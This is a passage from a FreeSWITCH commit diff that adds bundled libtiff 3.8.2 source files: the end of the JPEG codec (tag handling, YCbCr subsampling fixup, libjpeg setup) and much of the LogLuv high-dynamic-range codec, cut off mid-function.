+		sp->ycbcrsampling_fetched = 1;
+		return (*sp->vsetparent)(tif, tag, ap);
+	case TIFFTAG_FAXRECVPARAMS:
+		sp->recvparams = va_arg(ap, uint32);
+		break;
+	case TIFFTAG_FAXSUBADDRESS:
+		_TIFFsetString(&sp->subaddress, va_arg(ap, char*));
+		break;
+	case TIFFTAG_FAXRECVTIME:
+		sp->recvtime = va_arg(ap, uint32);
+		break;
+	case TIFFTAG_FAXDCS:
+		_TIFFsetString(&sp->faxdcs, va_arg(ap, char*));
+		break;
+	default:
+		return (*sp->vsetparent)(tif, tag, ap);
+	}
+	TIFFSetFieldBit(tif, _TIFFFieldWithTag(tif, tag)->field_bit);
+	tif->tif_flags |= TIFF_DIRTYDIRECT;
+	return (1);
+}
+
+/*
+ * Some JPEG-in-TIFF produces do not emit the YCBCRSUBSAMPLING values in
+ * the TIFF tags, but still use non-default (2,2) values within the jpeg
+ * data stream itself.  In order for TIFF applications to work properly
+ * - for instance to get the strip buffer size right - it is imperative
+ * that the subsampling be available before we start reading the image
+ * data normally.  This function will attempt to load the first strip in
+ * order to get the sampling values from the jpeg data stream.  Various
+ * hacks are various places are done to ensure this function gets called
+ * before the td_ycbcrsubsampling values are used from the directory structure,
+ * including calling TIFFGetField() for the YCBCRSUBSAMPLING field from 
+ * TIFFStripSize(), and the printing code in tif_print.c. 
+ *
+ * Note that JPEGPreDeocode() will produce a fairly loud warning when the
+ * discovered sampling does not match the default sampling (2,2) or whatever
+ * was actually in the tiff tags. 
+ *
+ * Problems:
+ *  o This code will cause one whole strip/tile of compressed data to be
+ *    loaded just to get the tags right, even if the imagery is never read.
+ *    It would be more efficient to just load a bit of the header, and
+ *    initialize things from that. 
+ *
+ * See the bug in bugzilla for details:
+ *
+ * http://bugzilla.remotesensing.org/show_bug.cgi?id=168
+ *
+ * Frank Warmerdam, July 2002
+ */
+
+static void 
+JPEGFixupTestSubsampling( TIFF * tif )
+{
+#ifdef CHECK_JPEG_YCBCR_SUBSAMPLING
+    JPEGState *sp = JState(tif);
+    TIFFDirectory *td = &tif->tif_dir;
+
+    JPEGInitializeLibJPEG( tif, 0, 0 );
+
+    /*
+     * Some JPEG-in-TIFF files don't provide the ycbcrsampling tags, 
+     * and use a sampling schema other than the default 2,2.  To handle
+     * this we actually have to scan the header of a strip or tile of
+     * jpeg data to get the sampling.  
+     */
+    if( !sp->cinfo.comm.is_decompressor 
+        || sp->ycbcrsampling_fetched  
+        || td->td_photometric != PHOTOMETRIC_YCBCR )
+        return;
+
+    sp->ycbcrsampling_fetched = 1;
+    if( TIFFIsTiled( tif ) )
+    {
+        if( !TIFFFillTile( tif, 0 ) )
+			return;
+    }
+    else
+	{
+        if( !TIFFFillStrip( tif, 0 ) )
+            return;
+    }
+
+    TIFFSetField( tif, TIFFTAG_YCBCRSUBSAMPLING, 
+                  (uint16) sp->h_sampling, (uint16) sp->v_sampling );
+#endif /* CHECK_JPEG_YCBCR_SUBSAMPLING */
+}
+
+static int
+JPEGVGetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	JPEGState* sp = JState(tif);
+
+	assert(sp != NULL);
+
+	switch (tag) {
+		case TIFFTAG_JPEGTABLES:
+			*va_arg(ap, uint32*) = sp->jpegtables_length;
+			*va_arg(ap, void**) = sp->jpegtables;
+			break;
+		case TIFFTAG_JPEGQUALITY:
+			*va_arg(ap, int*) = sp->jpegquality;
+			break;
+		case TIFFTAG_JPEGCOLORMODE:
+			*va_arg(ap, int*) = sp->jpegcolormode;
+			break;
+		case TIFFTAG_JPEGTABLESMODE:
+			*va_arg(ap, int*) = sp->jpegtablesmode;
+			break;
+		case TIFFTAG_YCBCRSUBSAMPLING:
+			JPEGFixupTestSubsampling( tif );
+			return (*sp->vgetparent)(tif, tag, ap);
+			break;
+		case TIFFTAG_FAXRECVPARAMS:
+			*va_arg(ap, uint32*) = sp->recvparams;
+			break;
+		case TIFFTAG_FAXSUBADDRESS:
+			*va_arg(ap, char**) = sp->subaddress;
+			break;
+		case TIFFTAG_FAXRECVTIME:
+			*va_arg(ap, uint32*) = sp->recvtime;
+			break;
+		case TIFFTAG_FAXDCS:
+			*va_arg(ap, char**) = sp->faxdcs;
+			break;
+		default:
+			return (*sp->vgetparent)(tif, tag, ap);
+	}
+	return (1);
+}
+
+static void
+JPEGPrintDir(TIFF* tif, FILE* fd, long flags)
+{
+	JPEGState* sp = JState(tif);
+
+	assert(sp != NULL);
+
+	(void) flags;
+	if (TIFFFieldSet(tif,FIELD_JPEGTABLES))
+		fprintf(fd, "  JPEG Tables: (%lu bytes)\n",
+			(unsigned long) sp->jpegtables_length);
+        if (TIFFFieldSet(tif,FIELD_RECVPARAMS))
+                fprintf(fd, "  Fax Receive Parameters: %08lx\n",
+                   (unsigned long) sp->recvparams);
+        if (TIFFFieldSet(tif,FIELD_SUBADDRESS))
+                fprintf(fd, "  Fax SubAddress: %s\n", sp->subaddress);
+        if (TIFFFieldSet(tif,FIELD_RECVTIME))
+                fprintf(fd, "  Fax Receive Time: %lu secs\n",
+                    (unsigned long) sp->recvtime);
+        if (TIFFFieldSet(tif,FIELD_FAXDCS))
+                fprintf(fd, "  Fax DCS: %s\n", sp->faxdcs);
+}
+
+static uint32
+JPEGDefaultStripSize(TIFF* tif, uint32 s)
+{
+	JPEGState* sp = JState(tif);
+	TIFFDirectory *td = &tif->tif_dir;
+
+	s = (*sp->defsparent)(tif, s);
+	if (s < td->td_imagelength)
+		s = TIFFroundup(s, td->td_ycbcrsubsampling[1] * DCTSIZE);
+	return (s);
+}
+
+static void
+JPEGDefaultTileSize(TIFF* tif, uint32* tw, uint32* th)
+{
+	JPEGState* sp = JState(tif);
+	TIFFDirectory *td = &tif->tif_dir;
+
+	(*sp->deftparent)(tif, tw, th);
+	*tw = TIFFroundup(*tw, td->td_ycbcrsubsampling[0] * DCTSIZE);
+	*th = TIFFroundup(*th, td->td_ycbcrsubsampling[1] * DCTSIZE);
+}
+
+/*
+ * The JPEG library initialized used to be done in TIFFInitJPEG(), but
+ * now that we allow a TIFF file to be opened in update mode it is necessary
+ * to have some way of deciding whether compression or decompression is
+ * desired other than looking at tif->tif_mode.  We accomplish this by 
+ * examining {TILE/STRIP}BYTECOUNTS to see if there is a non-zero entry.
+ * If so, we assume decompression is desired. 
+ *
+ * This is tricky, because TIFFInitJPEG() is called while the directory is
+ * being read, and generally speaking the BYTECOUNTS tag won't have been read
+ * at that point.  So we try to defer jpeg library initialization till we
+ * do have that tag ... basically any access that might require the compressor
+ * or decompressor that occurs after the reading of the directory. 
+ *
+ * In an ideal world compressors or decompressors would be setup
+ * at the point where a single tile or strip was accessed (for read or write)
+ * so that stuff like update of missing tiles, or replacement of tiles could
+ * be done. However, we aren't trying to crack that nut just yet ...
+ *
+ * NFW, Feb 3rd, 2003.
+ */
+
+static int JPEGInitializeLibJPEG( TIFF * tif, int force_encode, int force_decode )
+{
+    JPEGState* sp = JState(tif);
+    uint32 *byte_counts = NULL;
+    int     data_is_empty = TRUE;
+    int     decompress;
+
+    if( sp->cinfo_initialized )
+        return 1;
+
+    /*
+     * Do we have tile data already?  Make sure we initialize the
+     * the state in decompressor mode if we have tile data, even if we
+     * are not in read-only file access mode. 
+     */
+    if( TIFFIsTiled( tif ) 
+        && TIFFGetField( tif, TIFFTAG_TILEBYTECOUNTS, &byte_counts ) 
+        && byte_counts != NULL )
+    {
+        data_is_empty = byte_counts[0] == 0;
+    }
+    if( !TIFFIsTiled( tif ) 
+        && TIFFGetField( tif, TIFFTAG_STRIPBYTECOUNTS, &byte_counts) 
+        && byte_counts != NULL )
+    {
+        data_is_empty = byte_counts[0] == 0;
+    }
+
+    if( force_decode )
+        decompress = 1;
+    else if( force_encode )
+        decompress = 0;
+    else if( tif->tif_mode == O_RDONLY )
+        decompress = 1;
+    else if( data_is_empty )
+        decompress = 0;
+    else
+        decompress = 1;
+
+    /*
+     * Initialize libjpeg.
+     */
+    if ( decompress ) {
+        if (!TIFFjpeg_create_decompress(sp))
+            return (0);
+
+    } else {
+        if (!TIFFjpeg_create_compress(sp))
+            return (0);
+    }
+
+    sp->cinfo_initialized = TRUE;
+
+    return 1;
+}
+
+int
+TIFFInitJPEG(TIFF* tif, int scheme)
+{
+	JPEGState* sp;
+
+	assert(scheme == COMPRESSION_JPEG);
+
+	/*
+	 * Allocate state block so tag methods have storage to record values.
+	 */
+	tif->tif_data = (tidata_t) _TIFFmalloc(sizeof (JPEGState));
+
+	if (tif->tif_data == NULL) {
+		TIFFErrorExt(tif->tif_clientdata, "TIFFInitJPEG", "No space for JPEG state block");
+		return (0);
+	}
+        _TIFFmemset( tif->tif_data, 0, sizeof(JPEGState));
+
+	sp = JState(tif);
+	sp->tif = tif;				/* back link */
+
+	/*
+	 * Merge codec-specific tag information and override parent get/set
+	 * field methods.
+	 */
+	_TIFFMergeFieldInfo(tif, jpegFieldInfo, N(jpegFieldInfo));
+	sp->vgetparent = tif->tif_tagmethods.vgetfield;
+	tif->tif_tagmethods.vgetfield = JPEGVGetField; /* hook for codec tags */
+	sp->vsetparent = tif->tif_tagmethods.vsetfield;
+	tif->tif_tagmethods.vsetfield = JPEGVSetField; /* hook for codec tags */
+	tif->tif_tagmethods.printdir = JPEGPrintDir;   /* hook for codec tags */
+
+	/* Default values for codec-specific fields */
+	sp->jpegtables = NULL;
+	sp->jpegtables_length = 0;
+	sp->jpegquality = 75;			/* Default IJG quality */
+	sp->jpegcolormode = JPEGCOLORMODE_RAW;
+	sp->jpegtablesmode = JPEGTABLESMODE_QUANT | JPEGTABLESMODE_HUFF;
+
+        sp->recvparams = 0;
+        sp->subaddress = NULL;
+        sp->faxdcs = NULL;
+
+        sp->ycbcrsampling_fetched = 0;
+
+	/*
+	 * Install codec methods.
+	 */
+	tif->tif_setupdecode = JPEGSetupDecode;
+	tif->tif_predecode = JPEGPreDecode;
+	tif->tif_decoderow = JPEGDecode;
+	tif->tif_decodestrip = JPEGDecode;
+	tif->tif_decodetile = JPEGDecode;
+	tif->tif_setupencode = JPEGSetupEncode;
+	tif->tif_preencode = JPEGPreEncode;
+	tif->tif_postencode = JPEGPostEncode;
+	tif->tif_encoderow = JPEGEncode;
+	tif->tif_encodestrip = JPEGEncode;
+	tif->tif_encodetile = JPEGEncode;
+	tif->tif_cleanup = JPEGCleanup;
+	sp->defsparent = tif->tif_defstripsize;
+	tif->tif_defstripsize = JPEGDefaultStripSize;
+	sp->deftparent = tif->tif_deftilesize;
+	tif->tif_deftilesize = JPEGDefaultTileSize;
+	tif->tif_flags |= TIFF_NOBITREV;	/* no bit reversal, please */
+
+        sp->cinfo_initialized = FALSE;
+
+	/*
+        ** Create a JPEGTables field if no directory has yet been created. 
+        ** We do this just to ensure that sufficient space is reserved for
+        ** the JPEGTables field.  It will be properly created the right
+        ** size later. 
+        */
+        if( tif->tif_diroff == 0 )
+        {
+#define SIZE_OF_JPEGTABLES 2000
+            TIFFSetFieldBit(tif, FIELD_JPEGTABLES);
+            sp->jpegtables_length = SIZE_OF_JPEGTABLES;
+            sp->jpegtables = (void *) _TIFFmalloc(sp->jpegtables_length);
+	    _TIFFmemset(sp->jpegtables, 0, SIZE_OF_JPEGTABLES);
+#undef SIZE_OF_JPEGTABLES
+        }
+
+        /*
+         * Mark the TIFFTAG_YCBCRSAMPLES as present even if it is not
+         * see: JPEGFixupTestSubsampling().
+         */
+        TIFFSetFieldBit( tif, FIELD_YCBCRSUBSAMPLING );
+
+	return 1;
+}
+#endif /* JPEG_SUPPORT */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_luv.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_luv.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_luv.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_luv.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_luv.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1606 @@
+/* $Id: tif_luv.c,v 1.17 2006/03/16 12:38:24 dron Exp $ */
+
+/*
+ * Copyright (c) 1997 Greg Ward Larson
+ * Copyright (c) 1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler, Greg Larson and Silicon Graphics may not be used in any
+ * advertising or publicity relating to the software without the specific,
+ * prior written permission of Sam Leffler, Greg Larson and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER, GREG LARSON OR SILICON GRAPHICS BE LIABLE
+ * FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tiffiop.h"
+#ifdef LOGLUV_SUPPORT
+
+/*
+ * TIFF Library.
+ * LogLuv compression support for high dynamic range images.
+ *
+ * Contributed by Greg Larson.
+ *
+ * LogLuv image support uses the TIFF library to store 16 or 10-bit
+ * log luminance values with 8 bits each of u and v or a 14-bit index.
+ *
+ * The codec can take as input and produce as output 32-bit IEEE float values 
+ * as well as 16-bit integer values.  A 16-bit luminance is interpreted
+ * as a sign bit followed by a 15-bit integer that is converted
+ * to and from a linear magnitude using the transformation:
+ *
+ *	L = 2^( (Le+.5)/256 - 64 )		# real from 15-bit
+ *
+ *	Le = floor( 256*(log2(L) + 64) )	# 15-bit from real
+ *
+ * The actual conversion to world luminance units in candelas per sq. meter
+ * requires an additional multiplier, which is stored in the TIFFTAG_STONITS.
+ * This value is usually set such that a reasonable exposure comes from
+ * clamping decoded luminances above 1 to 1 in the displayed image.
+ *
+ * The 16-bit values for u and v may be converted to real values by dividing
+ * each by 32768.  (This allows for negative values, which aren't useful as
+ * far as we know, but are left in case of future improvements in human
+ * color vision.)
+ *
+ * Conversion from (u,v), which is actually the CIE (u',v') system for
+ * you color scientists, is accomplished by the following transformation:
+ *
+ *	u = 4*x / (-2*x + 12*y + 3)
+ *	v = 9*y / (-2*x + 12*y + 3)
+ *
+ *	x = 9*u / (6*u - 16*v + 12)
+ *	y = 4*v / (6*u - 16*v + 12)
+ *
+ * This process is greatly simplified by passing 32-bit IEEE floats
+ * for each of three CIE XYZ coordinates.  The codec then takes care
+ * of conversion to and from LogLuv, though the application is still
+ * responsible for interpreting the TIFFTAG_STONITS calibration factor.
+ *
+ * By definition, a CIE XYZ vector of [1 1 1] corresponds to a neutral white
+ * point of (x,y)=(1/3,1/3).  However, most color systems assume some other
+ * white point, such as D65, and an absolute color conversion to XYZ then
+ * to another color space with a different white point may introduce an
+ * unwanted color cast to the image.  It is often desirable, therefore, to
+ * perform a white point conversion that maps the input white to [1 1 1]
+ * in XYZ, then record the original white point using the TIFFTAG_WHITEPOINT
+ * tag value.  A decoder that demands absolute color calibration may use
+ * this white point tag to get back the original colors, but usually it
+ * will be ignored and the new white point will be used instead that
+ * matches the output color space.
+ *
+ * Pixel information is compressed into one of two basic encodings, depending
+ * on the setting of the compression tag, which is one of COMPRESSION_SGILOG
+ * or COMPRESSION_SGILOG24.  For COMPRESSION_SGILOG, greyscale data is
+ * stored as:
+ *
+ *	 1       15
+ *	|-+---------------|
+ *
+ * COMPRESSION_SGILOG color data is stored as:
+ *
+ *	 1       15           8        8
+ *	|-+---------------|--------+--------|
+ *	 S       Le           ue       ve
+ *
+ * For the 24-bit COMPRESSION_SGILOG24 color format, the data is stored as:
+ *
+ *	     10           14
+ *	|----------|--------------|
+ *	     Le'          Ce
+ *
+ * There is no sign bit in the 24-bit case, and the (u,v) chromaticity is
+ * encoded as an index for optimal color resolution.  The 10 log bits are
+ * defined by the following conversions:
+ *
+ *	L = 2^((Le'+.5)/64 - 12)		# real from 10-bit
+ *
+ *	Le' = floor( 64*(log2(L) + 12) )	# 10-bit from real
+ *
+ * The 10 bits of the smaller format may be converted into the 15 bits of
+ * the larger format by multiplying by 4 and adding 13314.  Obviously,
+ * a smaller range of magnitudes is covered (about 5 orders of magnitude
+ * instead of 38), and the lack of a sign bit means that negative luminances
+ * are not allowed.  (Well, they aren't allowed in the real world, either,
+ * but they are useful for certain types of image processing.)
+ *
+ * The desired user format is controlled by the setting the internal
+ * pseudo tag TIFFTAG_SGILOGDATAFMT to one of:
+ *  SGILOGDATAFMT_FLOAT       = IEEE 32-bit float XYZ values
+ *  SGILOGDATAFMT_16BIT	      = 16-bit integer encodings of logL, u and v
+ * Raw data i/o is also possible using:
+ *  SGILOGDATAFMT_RAW         = 32-bit unsigned integer with encoded pixel
+ * In addition, the following decoding is provided for ease of display:
+ *  SGILOGDATAFMT_8BIT        = 8-bit default RGB gamma-corrected values
+ *
+ * For grayscale images, we provide the following data formats:
+ *  SGILOGDATAFMT_FLOAT       = IEEE 32-bit float Y values
+ *  SGILOGDATAFMT_16BIT       = 16-bit integer w/ encoded luminance
+ *  SGILOGDATAFMT_8BIT        = 8-bit gray monitor values
+ *
+ * Note that the COMPRESSION_SGILOG applies a simple run-length encoding
+ * scheme by separating the logL, u and v bytes for each row and applying
+ * a PackBits type of compression.  Since the 24-bit encoding is not
+ * adaptive, the 32-bit color format takes less space in many cases.
+ *
+ * Further control is provided over the conversion from higher-resolution
+ * formats to final encoded values through the pseudo tag
+ * TIFFTAG_SGILOGENCODE:
+ *  SGILOGENCODE_NODITHER     = do not dither encoded values
+ *  SGILOGENCODE_RANDITHER    = apply random dithering during encoding
+ *
+ * The default value of this tag is SGILOGENCODE_NODITHER for
+ * COMPRESSION_SGILOG to maximize run-length encoding and
+ * SGILOGENCODE_RANDITHER for COMPRESSION_SGILOG24 to turn
+ * quantization errors into noise.
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <math.h>
+
+/*
+ * State block for each open TIFF
+ * file using LogLuv compression/decompression.
+ */
+typedef	struct logLuvState LogLuvState;
+
+struct logLuvState {
+	int			user_datafmt;	/* user data format */
+	int			encode_meth;	/* encoding method */
+	int			pixel_size;	/* bytes per pixel */
+
+	tidata_t*		tbuf;		/* translation buffer */
+	int			tbuflen;	/* buffer length */
+	void (*tfunc)(LogLuvState*, tidata_t, int);
+
+	TIFFVSetMethod		vgetparent;	/* super-class method */
+	TIFFVSetMethod		vsetparent;	/* super-class method */
+};
+
+#define	DecoderState(tif)	((LogLuvState*) (tif)->tif_data)
+#define	EncoderState(tif)	((LogLuvState*) (tif)->tif_data)
+
+#define SGILOGDATAFMT_UNKNOWN	-1
+
+#define MINRUN		4	/* minimum run length */
+
+/*
+ * Decode a string of 16-bit gray pixels.
+ */
+static int
+LogL16Decode(TIFF* tif, tidata_t op, tsize_t occ, tsample_t s)
+{
+	LogLuvState* sp = DecoderState(tif);
+	int shft, i, npixels;
+	unsigned char* bp;
+	int16* tp;
+	int16 b;
+	int cc, rc;
+
+	assert(s == 0);
+	assert(sp != NULL);
+
+	npixels = occ / sp->pixel_size;
+
+	if (sp->user_datafmt == SGILOGDATAFMT_16BIT)
+		tp = (int16*) op;
+	else {
+		assert(sp->tbuflen >= npixels);
+		tp = (int16*) sp->tbuf;
+	}
+	_TIFFmemset((tdata_t) tp, 0, npixels*sizeof (tp[0]));
+
+	bp = (unsigned char*) tif->tif_rawcp;
+	cc = tif->tif_rawcc;
+					/* get each byte string */
+	for (shft = 2*8; (shft -= 8) >= 0; ) {
+		for (i = 0; i < npixels && cc > 0; )
+			if (*bp >= 128) {		/* run */
+				rc = *bp++ + (2-128);
+				b = (int16)(*bp++ << shft);
+				cc -= 2;
+				while (rc-- && i < npixels)
+					tp[i++] |= b;
+			} else {			/* non-run */
+				rc = *bp++;		/* nul is noop */
+				while (--cc && rc-- && i < npixels)
+					tp[i++] |= (int16)*bp++ << shft;
+			}
+		if (i != npixels) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		"LogL16Decode: Not enough data at row %d (short %d pixels)",
+			    tif->tif_row, npixels - i);
+			tif->tif_rawcp = (tidata_t) bp;
+			tif->tif_rawcc = cc;
+			return (0);
+		}
+	}
+	(*sp->tfunc)(sp, op, npixels);
+	tif->tif_rawcp = (tidata_t) bp;
+	tif->tif_rawcc = cc;
+	return (1);
+}
+
+/*
+ * Decode a string of 24-bit pixels.
+ */
+static int
+LogLuvDecode24(TIFF* tif, tidata_t op, tsize_t occ, tsample_t s)
+{
+	LogLuvState* sp = DecoderState(tif);
+	int cc, i, npixels;
+	unsigned char* bp;
+	uint32* tp;
+
+	assert(s == 0);
+	assert(sp != NULL);
+
+	npixels = occ / sp->pixel_size;
+
+	if (sp->user_datafmt == SGILOGDATAFMT_RAW)
+		tp = (uint32 *)op;
+	else {
+		assert(sp->tbuflen >= npixels);
+		tp = (uint32 *) sp->tbuf;
+	}
+					/* copy to array of uint32 */
+	bp = (unsigned char*) tif->tif_rawcp;
+	cc = tif->tif_rawcc;
+	for (i = 0; i < npixels && cc > 0; i++) {
+		tp[i] = bp[0] << 16 | bp[1] << 8 | bp[2];
+		bp += 3;
+		cc -= 3;
+	}
+	tif->tif_rawcp = (tidata_t) bp;
+	tif->tif_rawcc = cc;
+	if (i != npixels) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+	    "LogLuvDecode24: Not enough data at row %d (short %d pixels)",
+		    tif->tif_row, npixels - i);
+		return (0);
+	}
+	(*sp->tfunc)(sp, op, npixels);
+	return (1);
+}
+
+/*
+ * Decode a string of 32-bit pixels.
+ */
+static int
+LogLuvDecode32(TIFF* tif, tidata_t op, tsize_t occ, tsample_t s)
+{
+	LogLuvState* sp;
+	int shft, i, npixels;
+	unsigned char* bp;
+	uint32* tp;
+	uint32 b;
+	int cc, rc;
+
+	assert(s == 0);
+	sp = DecoderState(tif);
+	assert(sp != NULL);
+
+	npixels = occ / sp->pixel_size;
+
+	if (sp->user_datafmt == SGILOGDATAFMT_RAW)
+		tp = (uint32*) op;
+	else {
+		assert(sp->tbuflen >= npixels);
+		tp = (uint32*) sp->tbuf;
+	}
+	_TIFFmemset((tdata_t) tp, 0, npixels*sizeof (tp[0]));
+
+	bp = (unsigned char*) tif->tif_rawcp;
+	cc = tif->tif_rawcc;
+					/* get each byte string */
+	for (shft = 4*8; (shft -= 8) >= 0; ) {
+		for (i = 0; i < npixels && cc > 0; )
+			if (*bp >= 128) {		/* run */
+				rc = *bp++ + (2-128);
+				b = (uint32)*bp++ << shft;
+				cc -= 2;
+				while (rc-- && i < npixels)
+					tp[i++] |= b;
+			} else {			/* non-run */
+				rc = *bp++;		/* nul is noop */
+				while (--cc && rc-- && i < npixels)
+					tp[i++] |= (uint32)*bp++ << shft;
+			}
+		if (i != npixels) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		"LogLuvDecode32: Not enough data at row %d (short %d pixels)",
+			    tif->tif_row, npixels - i);
+			tif->tif_rawcp = (tidata_t) bp;
+			tif->tif_rawcc = cc;
+			return (0);
+		}
+	}
+	(*sp->tfunc)(sp, op, npixels);
+	tif->tif_rawcp = (tidata_t) bp;
+	tif->tif_rawcc = cc;
+	return (1);
+}
+
+/*
+ * Decode a strip of pixels.  We break it into rows to
+ * maintain synchrony with the encode algorithm, which
+ * is row by row.
+ */
+static int
+LogLuvDecodeStrip(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	tsize_t rowlen = TIFFScanlineSize(tif);
+
+	assert(cc%rowlen == 0);
+	while (cc && (*tif->tif_decoderow)(tif, bp, rowlen, s))
+		bp += rowlen, cc -= rowlen;
+	return (cc == 0);
+}
+
+/*
+ * Decode a tile of pixels.  We break it into rows to
+ * maintain synchrony with the encode algorithm, which
+ * is row by row.
+ */
+static int
+LogLuvDecodeTile(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	tsize_t rowlen = TIFFTileRowSize(tif);
+
+	assert(cc%rowlen == 0);
+	while (cc && (*tif->tif_decoderow)(tif, bp, rowlen, s))
+		bp += rowlen, cc -= rowlen;
+	return (cc == 0);
+}
+
+/*
+ * Encode a row of 16-bit pixels.
+ */
+static int
+LogL16Encode(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	LogLuvState* sp = EncoderState(tif);
+	int shft, i, j, npixels;
+	tidata_t op;
+	int16* tp;
+	int16 b;
+	int occ, rc=0, mask, beg;
+
+	assert(s == 0);
+	assert(sp != NULL);
+	npixels = cc / sp->pixel_size;
+
+	if (sp->user_datafmt == SGILOGDATAFMT_16BIT)
+		tp = (int16*) bp;
+	else {
+		tp = (int16*) sp->tbuf;
+		assert(sp->tbuflen >= npixels);
+		(*sp->tfunc)(sp, bp, npixels);
+	}
+					/* compress each byte string */
+	op = tif->tif_rawcp;
+	occ = tif->tif_rawdatasize - tif->tif_rawcc;
+	for (shft = 2*8; (shft -= 8) >= 0; )
+		for (i = 0; i < npixels; i += rc) {
+			if (occ < 4) {
+				tif->tif_rawcp = op;
+				tif->tif_rawcc = tif->tif_rawdatasize - occ;
+				if (!TIFFFlushData1(tif))
+					return (-1);
+				op = tif->tif_rawcp;
+				occ = tif->tif_rawdatasize - tif->tif_rawcc;
+			}
+			mask = 0xff << shft;		/* find next run */
+			for (beg = i; beg < npixels; beg += rc) {
+				b = (int16) (tp[beg] & mask);
+				rc = 1;
+				while (rc < 127+2 && beg+rc < npixels &&
+						(tp[beg+rc] & mask) == b)
+					rc++;
+				if (rc >= MINRUN)
+					break;		/* long enough */
+			}
+			if (beg-i > 1 && beg-i < MINRUN) {
+				b = (int16) (tp[i] & mask);/*check short run */
+				j = i+1;
+				while ((tp[j++] & mask) == b)
+                                    if (j == beg) {
+                                        *op++ = (tidataval_t)(128-2+j-i);
+                                        *op++ = (tidataval_t) (b >> shft);
+                                        occ -= 2;
+                                        i = beg;
+                                        break;
+                                    }
+			}
+			while (i < beg) {		/* write out non-run */
+				if ((j = beg-i) > 127) j = 127;
+				if (occ < j+3) {
+                                    tif->tif_rawcp = op;
+                                    tif->tif_rawcc = tif->tif_rawdatasize - occ;
+                                    if (!TIFFFlushData1(tif))
+                                        return (-1);
+                                    op = tif->tif_rawcp;
+                                    occ = tif->tif_rawdatasize - tif->tif_rawcc;
+				}
+				*op++ = (tidataval_t) j; occ--;
+				while (j--) {
+					*op++ = (tidataval_t) (tp[i++] >> shft & 0xff);
+					occ--;
+				}
+			}
+			if (rc >= MINRUN) {		/* write out run */
+				*op++ = (tidataval_t) (128-2+rc);
+				*op++ = (tidataval_t) (tp[beg] >> shft & 0xff);
+				occ -= 2;
+			} else
+				rc = 0;
+		}
+	tif->tif_rawcp = op;
+	tif->tif_rawcc = tif->tif_rawdatasize - occ;
+
+	return (0);
+}
+
+/*
+ * Encode a row of 24-bit pixels.
+ */
+static int
+LogLuvEncode24(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	LogLuvState* sp = EncoderState(tif);
+	int i, npixels, occ;
+	tidata_t op;
+	uint32* tp;
+
+	assert(s == 0);
+	assert(sp != NULL);
+	npixels = cc / sp->pixel_size;
+
+	if (sp->user_datafmt == SGILOGDATAFMT_RAW)
+		tp = (uint32*) bp;
+	else {
+		tp = (uint32*) sp->tbuf;
+		assert(sp->tbuflen >= npixels);
+		(*sp->tfunc)(sp, bp, npixels);
+	}
+					/* write out encoded pixels */
+	op = tif->tif_rawcp;
+	occ = tif->tif_rawdatasize - tif->tif_rawcc;
+	for (i = npixels; i--; ) {
+		if (occ < 3) {
+			tif->tif_rawcp = op;
+			tif->tif_rawcc = tif->tif_rawdatasize - occ;
+			if (!TIFFFlushData1(tif))
+				return (-1);
+			op = tif->tif_rawcp;
+			occ = tif->tif_rawdatasize - tif->tif_rawcc;
+		}
+		*op++ = (tidataval_t)(*tp >> 16);
+		*op++ = (tidataval_t)(*tp >> 8 & 0xff);
+		*op++ = (tidataval_t)(*tp++ & 0xff);
+		occ -= 3;
+	}
+	tif->tif_rawcp = op;
+	tif->tif_rawcc = tif->tif_rawdatasize - occ;
+
+	return (0);
+}
+
+/*
+ * Encode a row of 32-bit pixels.
+ */
+static int
+LogLuvEncode32(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	LogLuvState* sp = EncoderState(tif);
+	int shft, i, j, npixels;
+	tidata_t op;
+	uint32* tp;
+	uint32 b;
+	int occ, rc=0, mask, beg;
+
+	assert(s == 0);
+	assert(sp != NULL);
+
+	npixels = cc / sp->pixel_size;
+
+	if (sp->user_datafmt == SGILOGDATAFMT_RAW)
+		tp = (uint32*) bp;
+	else {
+		tp = (uint32*) sp->tbuf;
+		assert(sp->tbuflen >= npixels);
+		(*sp->tfunc)(sp, bp, npixels);
+	}
+					/* compress each byte string */
+	op = tif->tif_rawcp;
+	occ = tif->tif_rawdatasize - tif->tif_rawcc;
+	for (shft = 4*8; (shft -= 8) >= 0; )
+		for (i = 0; i < npixels; i += rc) {
+			if (occ < 4) {
+				tif->tif_rawcp = op;
+				tif->tif_rawcc = tif->tif_rawdatasize - occ;
